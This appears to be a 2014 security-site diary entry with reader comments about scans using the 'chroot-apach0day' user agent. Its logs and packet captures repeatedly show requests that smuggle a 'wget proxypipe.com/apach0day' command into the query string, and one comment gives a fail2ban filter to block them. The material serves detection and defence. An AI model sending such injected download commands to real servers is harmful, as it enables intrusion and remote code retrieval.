Interesting HTTP User Agent "chroot-apach0day"

Published: 2014-07-28
Last Updated: 2014-07-28 23:19:45 UTC
by Johannes Ullrich (Version: 1)
17 comment(s)

Our reader Robin submitted the following detect:

I've got a site that was scanned this morning by a tool that left these entries in the logs:
[HTTP_USER_AGENT] => chroot-apach0day
[HTTP_REFERRER] => /xA/x0a/x05
[REQUEST_URI] => /?x0a/x04/x0a/x04/x06/x08/x09/cDDOSv2dns;wget http://proxypipe.com/apach0day  

The URL that appears to be retrieved does not exist, even though the domain does.

In our own web logs, we have seen a couple of similar requests:

162.253.66.77 - - [28/Jul/2014:05:07:15 +0000] "GET /?x0a/x04/x0a/x04/x06/x08/x09/cDDOSv2dns;wget%20proxypipe.com/apach0day; HTTP/1.0" 301 178 "-" "chroot-apach0day" "-"
162.253.66.77 - - [28/Jul/2014:18:48:36 +0000] "GET /?x0a/x04/x0a/x02/x06/x08/x09/cDDOSpart3dns;wget%20proxypipe.com/apach0day; HTTP/1.0" 301 178 "-" "chroot-apach0day" "-"
162.253.66.77 - - [28/Jul/2014:20:04:07 +0000] "GET /?x0a/x04/x0a/x02/x06/x08/x09/cDDOSSdns-STAGE2;wget%20proxypipe.com/apach0day; HTTP/1.0" 301 178 "-" "chroot-apach0day-HIDDEN BINDSHELL-ESTAB" "-"

If anybody has any ideas what tool causes these entries, please let us know. Right now, it doesn't look like this is indeed an "Apache 0 Day" 

There are a couple other security related sites where users point out this user agent string, with little insight as to what causes the activity or what the goal is.

---
Johannes B. Ullrich, Ph.D.
STI|Twitter|LinkedIn

17 comment(s)

Comments

i monitor some traffic via ngrep and this popped-up today on two separate machines (running a custom server, not apache):

Machine 1:
T 162.253.66.77:56655 -> 10.178.172.97:80 [AP]
GET /?x0a/x04/x0a/x02/x06/x08/x09/cDDOSSdns-STAGE2;wget%20proxypipe.com/apach0day; HTTP/1.0
User-agent: chroot-apach0day-HIDDEN BINDSHELL-ESTAB
Referrer: /xA/x0a/x06HIDDENSHELL--ESTABLISHED

T 10.178.172.97:80 -> 162.253.66.77:56655 [A]
HTTP/1.1 500 Internal Server Error.
Content-Type: image/png.
Content-Length: 928.
Date: Mon, 28 Jul 2014 20:49:51 GMT.
Connection: close.

===========================

Machine 2:
T 162.253.66.77:56655 -> 10.209.31.105:80 [AP]
GET /?x0a/x04/x0a/x02/x06/x08/x09/cDDOSSdns-STAGE2;wget%20proxypipe.com/apach0day; HTTP/1.0
User-agent: chroot-apach0day-HIDDEN BINDSHELL-ESTAB
Referrer: /xA/x0a/x06HIDDENSHELL--ESTABLISHED

T 10.209.31.105:80 -> 162.253.66.77:56655 [A]
HTTP/1.1 500 Internal Server Error.
Content-Type: image/png.
Content-Length: 928.
Date: Mon, 28 Jul 2014 20:10:22 GMT.
Connection: close.
I'm seeing similar requests at both of my servers, also coming from the same IP (162.253.66.77). I did a little research on the IP itself and its reputation is far from spotless. It's listed on numerous blacklists: UCEPROTECT Level 1, CBL.AbuseAt.org, JustSpam.org, APEWS.org ("Spammer or scammer or scanner or zombie PC or other within this CIDR"). There are user reports of similar activity at Project Honey Pot.
I have also seen this IP scanning our network. Its being repeatedly added and removed from our shun list. It started yesterday at 11:30 PM CDT.
Here's a quick-and-dirty solution to block using fail2ban. (If you don't currently use fail2ban, google for your OS.)

If you have fail2ban installed, see below. Note locations of the fail2ban files might be different, depending on your OS. The example below is from a Debian server. This sample doesn't cover ban times, etc.---just how to create a filter and add it to jail.local. There are plenty of fail2ban config examples on google for multiple systems.

Quick-And-Dirty (Debian Linux):

1) Create a new file apache-0day.conf in /etc/fail2ban/filter.d that contains:

#Fail2Ban configuration file
#Limited filter to stop apach0day attacks

[Definition]
Option: failregex
#Notes.: regex to match this kind of request:
#162.253.66.77 - - [28/Jul/2014:19:02:00 +0000] "GET /?x0a/x04/x0a/x02/x06/x08/x09/cDDOSpart3dns;wget%20proxypipe.com/apach0day; HTTP/1.0" 200 359 "-" "chroot-apach0day"

failregex = ^ -."(GET|POST).\?.proxypipe|apach0day.$
Option: ignoreregex
Notes.: regex to ignore. If this regex matches, the line is ignored.

Values: TEXT

# ignoreregex =


2) Test filter with command: fail2ban-regex /var/log/apache2/access.log /etc/fail2ban/filter.d/apache-0day.conf

3) Edit /etc/fail2banl/jail.local, to add this jail:

[apache-0day] enabled = true port = http,https filter = apache-0day logpath = /var/log/apache*/*access.log maxretry = 2

4) Test the new overall configuration (watch for WARNING and fix, if needed): fail2ban-client -d

5) Re-start fail2ban: /etc/init.d/fail2ban restart
I got a request like this on my dev server with apache, and it appears to have created a folder called ".ssh" in the document root. There is a file inside there called notshell.php.

I can't make head or tails of the code, it looks like it has been obfuscated
I've seen the same, across some 9 or 10 customer sites - same three requests to each, same source:

162.253.66.77 - - [28/Jul/2014:06:03:18 +0100] "GET /?x0a/x04/x0a/x04/x06/x08/x09/cDDOSv2dns;wget%20proxypipe.com/apach0day; HTTP/1.0" 200 8590 "-" "chroot-apach0day"
162.253.66.77 - - [28/Jul/2014:20:28:57 +0100] "GET /?x0a/x04/x0a/x02/x06/x08/x09/cDDOSpart3dns;wget%20proxypipe.com/apach0day; HTTP/1.0" 200 8590 "-" "chroot-apach0day"
162.253.66.77 - - [28/Jul/2014:20:42:02 +0100] "GET /?x0a/x04/x0a/x02/x06/x08/x09/cDDOSSdns-STAGE2;wget%20proxypipe.com/apach0day; HTTP/1.0" 200 8590 "-" "chroot-apach0day-HIDDEN BINDSHELL-ESTAB"

Nothing untoward has happened (the 200 response here is because the front page on this site is flat HTML, so the query string was ignored).
I've picked up a couple in my logs as well:

162.253.66.77 - - [28/Jul/2014:06:21:18 +0100] "GET /?x0a/x04/x0a/x04/x06/x08/x09/cDDOSv2dns;wget%20proxypipe.com/apach0day; HTTP/1.0" 200 640 "-" "chroot-apach0day"

162.253.66.77 - - [28/Jul/2014:22:56:35 +0100] "GET /?x0a/x04/x0a/x02/x06/x08/x09/cDDOSSdns-STAGE2;wget%20proxypipe.com/apach0day; HTTP/1.0" 200 640 "-" "chroot-apach0day-HIDDEN BINDSHELL-ESTAB"
Alien Vault OTX has tagged at "Scanning Host".

Link : http://www.alienvault.com/apps/rep_monitor/ip/162.253.66.77/?utm_channnel=InProduct&utm_source=OSSIM&utm_campaign=threatdetails
Here are my findings from the past 90 days of logs:

May 07 19:03:47 ipmon[473]: Deny packet r#80:11 re3 162.253.66.74:9359 -> <REMOVED>:22 PR tcp len 20 48 -S IN
May 09 00:14:27 ipmon[473]: Deny packet r#80:11 re3 162.253.66.74:46341 -> <REMOVED>:1080 PR tcp len 20 40 -S IN
May 09 08:29:31 ipmon[473]: Deny packet r#80:11 re3 162.253.66.74:51666 -> <REMOVED>:5000 PR tcp len 20 40 -S IN
May 11 22:31:38 ipmon[473]: Deny packet r#80:11 re3 162.253.66.74:52724 -> <REMOVED>:23 PR tcp len 20 40 -S IN
May 11 23:01:56 ipmon[473]: Deny packet r#80:11 re3 162.253.66.74:52724 -> <REMOVED>:22 PR tcp len 20 40 -S IN
May 16 06:22:12 omb_ftp[51581]: INFO: connect from: 162.253.66.74 to: <REMOVED> redirect: <REMOVED>
May 16 06:22:12 omb_ftp[51581]: INFO: child pid: 43179 connect: 162.253.66.74 -> <REMOVED>
May 16 07:06:15 omb_ftp[51581]: INFO: connect from: 162.253.66.74 to: <REMOVED> redirect: <REMOVED>
May 16 07:06:15 omb_ftp[51581]: INFO: child pid: 46002 connect: 162.253.66.74 -> <REMOVED>
May 20 03:03:33 ipmon[473]: Deny packet r#80:11 re3 162.253.66.74:38261 -> <REMOVED>:1680 PR udp len 20 186 IN
May 26 22:29:32 ipmon[473]: Deny packet r#80:11 re3 162.253.66.76:55193 -> <REMOVED>:9200 PR tcp len 20 40 -S IN
Jun 12 00:50:10 kernel: No server on port re3 162.253.66.76:40409 -> <REMOVED>:60023 PR tcp -S
Jun 12 00:50:10 kernel: No server on port re3 162.253.66.76:40409 -> <REMOVED>:60023 PR tcp -R
Jun 16 17:53:04 ipmon[347]: Deny packet r#80:11 re3 162.253.66.76:54060 -> <REMOVED>:5060 PR tcp len 20 40 -S IN
Jun 21 01:16:33 kernel: No server on port re3 162.253.66.76:43183 -> <REMOVED>:49152 PR tcp -S
Jun 21 01:16:34 kernel: No server on port re3 162.253.66.76:43183 -> <REMOVED>:49152 PR tcp -R
Jun 25 05:07:50 omb_http[399]: INFO: [22127] 162.253.66.76 192.168.0.11:80 "GET /rutorrent HTTP/1.1" - 0 Client unexpectedly closed connection
Jun 25 11:24:25 ipmon[347]: Deny packet r#80:11 re3 162.253.66.77:44182 -> <REMOVED>:22 PR tcp len 20 40 -S IN
Jun 25 18:24:31 omb_http[399]: INFO: [21114] 162.253.66.77:52663 192.168.0.11:80 <none> "GET /rutorrent HTTP/1.0" text/html 301 235
Jun 26 14:12:39 ipmon[347]: Deny packet r#80:11 re3 162.253.66.77:42694 -> <REMOVED>:443 PR tcp len 20 40 -S IN
Jun 26 17:40:44 ipmon[347]: Deny packet r#80:11 re3 162.253.66.77:54925 -> <REMOVED>:8112 PR tcp len 20 40 -S IN
Jul 06 21:27:42 ipmon[347]: Deny packet r#80:11 re3 162.253.66.76:42286 -> <REMOVED>:11211 PR udp len 20 43 IN
Jul 11 12:04:25 ipmon[347]: Deny packet r#80:11 re3 162.253.66.76:49029 -> <REMOVED>:27015 PR tcp len 20 40 -S IN
Jul 11 16:29:19 ipmon[347]: Deny packet r#80:11 re3 162.253.66.76:40895 -> <REMOVED>:8112 PR tcp len 20 40 -S IN
Jul 11 17:04:37 ipmon[347]: Deny packet r#80:11 re3 162.253.66.77:50855 -> <REMOVED>:23 PR tcp len 20 40 -S IN
Jul 26 02:11:06 ipmon[347]: Deny packet r#80:11 re3 162.253.66.76:46535 -> <REMOVED>:3128 PR tcp len 20 40 -S IN
Jul 28 01:03:30 ipmon[347]: Deny packet r#80:11 re3 162.253.66.76:57550 -> <REMOVED>:23 PR tcp len 20 40 -S IN
Jul 28 08:58:46 omb_http[399]: INFO: [27652] 162.253.66.77:41790 192.168.0.11:80 <none> "GET /?x0a/x04/x0a/x04/x06/x08/x09/cDDOSv2dns;wget%20proxypipe.com/apach0day; HTTP/1.0" text/html 301 297
Jul 28 22:56:58 omb_http[399]: INFO: [42857] 162.253.66.77:56655 192.168.0.11:80 <none> "GET /?x0a/x04/x0a/x02/x06/x08/x09/cDDOSSdns-STAGE2;wget%20proxypipe.com/apach0day; HTTP/1.0" text/html 301 303

To me it looks like a really slow scan with some added features (apach0day and rutorrent).

Regarding potential threats, even if Apache itself isnt/might not be vulnerable - what about other systems? For example various webstatsscript such as Awstats among others (who acts on whats found in the accesslog)?

My best guess:

1) Someone doing their final preparations before their talk at defcon/blackhat.

_OR_

2) Someone from 4chan trolling the rest of the Internet :-)
what's funny about this is that the IP belongs to Garrison Network Solutions LLC and Datawagon. Datawagon advertises DDOS protection. My traffic seems to have started early Monday morning. Can't really determine what the encoded data is, looks randomly generated and produces a couple different results on the Hex to Ascii site. Nothing new this morning.

Diary Archives